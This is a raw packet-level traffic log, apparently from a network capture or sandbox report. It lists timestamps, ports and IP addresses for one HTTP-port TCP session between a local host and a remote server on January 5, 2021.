Jan 5, 2021 19:05:22.761094093 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761112928 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761131048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761172056 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761195898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761229038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761233091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761251926 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761257887 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761291981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761293888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761318922 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761356115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761363029 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761415958 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761426926 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761491060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761521101 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761544943 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761557102 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761584044 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761620998 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761636019 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761645079 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761681080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761689901 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761706114 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761750937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761780024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761797905 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761804104 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761832952 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761842012 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761878014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761879921 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761898041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761902094 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761939049 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.761955023 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.761962891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762008905 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762037992 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762067080 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762073994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762099028 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762135029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762149096 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762159109 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762196064 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762219906 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762248039 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762264967 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762295008 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762330055 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762346029 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762355089 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762392998 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762413025 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762418985 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762455940 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762484074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762516022 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762531042 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762562037 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762598991 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762614012 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762624979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762653112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762687922 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762690067 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762729883 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762753963 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762784958 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762792110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762819052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762854099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762877941 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762892962 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762907982 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762933969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762968063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.762969971 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.762995958 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763035059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763045073 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.763062000 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763112068 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763113976 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.763142109 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763176918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763206005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.763247013 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.763792038 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.814182997 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814229965 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814260006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814285994 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814321995 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814347029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814383030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814405918 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814443111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814470053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814517021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814548016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814585924 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814610958 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814647913 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814671040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814707041 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814729929 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814866066 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814897060 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814944029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.814973116 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815007925 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815032959 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815068960 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815092087 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815128088 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815152884 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815198898 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815227032 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815263033 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815289021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815325975 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815347910 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815383911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815407038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815453053 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815484047 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815520048 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815545082 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815582991 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815606117 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815640926 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815665007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815711021 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815740108 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815776110 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815799952 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815835953 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815860033 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815896034 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815920115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815964937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.815994024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816030979 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816056013 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816092014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816114902 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816149950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816174030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816220045 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816248894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816283941 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816308022 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816344023 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816366911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816402912 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816426992 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816473007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816502094 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816536903 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816561937 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816600084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816622972 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816658974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816682100 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816728115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816756964 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816792965 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816817999 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816854954 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816878080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816914082 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816939116 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.816979885 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.816987991 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817007065 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817019939 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817034960 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817056894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817082882 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817084074 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817121029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817143917 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817173004 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817176104 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817198038 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817214966 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817236900 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817257881 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817262888 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817298889 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817322969 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.817363024 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817390919 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.817437887 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.868582010 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868630886 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868659973 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868678093 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868707895 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868736029 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868772030 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868807077 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868848085 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868875980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868905067 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868925095 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.868932009 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.868957043 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.868966103 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.868972063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.868979931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869012117 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869049072 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869076014 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869106054 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869113922 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869138956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869170904 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869175911 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869203091 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869218111 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869250059 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869268894 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869282961 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869318962 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869344950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869370937 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869451046 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869479895 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869515896 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869522095 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869540930 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869576931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869615078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869617939 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869657040 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869683027 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869683981 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869719982 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869745016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869780064 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869781017 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869807005 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869842052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869875908 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869879007 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869919062 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869944096 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.869977951 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.869980097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870006084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870040894 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870064974 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870079041 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870102882 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870136976 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870141983 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870178938 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870203018 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870237112 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870239019 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870265007 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870300055 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870321989 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870326042 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870362997 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870398045 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870420933 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870440006 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870466948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870505095 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870528936 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870556116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870565891 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870589018 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870594978 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870630980 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870665073 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870706081 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870706081 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870731115 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870768070 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870791912 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870794058 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870829105 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870853901 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870888948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870896101 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.870923996 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870965004 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.870989084 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871005058 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871027946 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871048927 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871053934 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871088982 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871114016 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871149063 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871149063 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871184111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871223927 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871244907 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871248960 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871285915 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871309996 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871345043 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871351004 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871371031 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871406078 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871428013 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871442080 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871483088 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871506929 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871539116 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871542931 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871571064 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871606112 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871632099 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871649027 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871669054 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871692896 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.871706009 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871747017 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871771097 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.871805906 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.872154951 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.922930956 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.922981024 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923010111 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923037052 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923077106 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923100948 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923136950 CET	80	49167	83.172.144.37	192.168.2.22
Jan 5, 2021 19:05:22.923173904 CET	49167	80	192.168.2.22	83.172.144.37
Jan 5, 2021 19:05:22.923176050 CET	80	49167	83.172.144.37	192.168.2.22
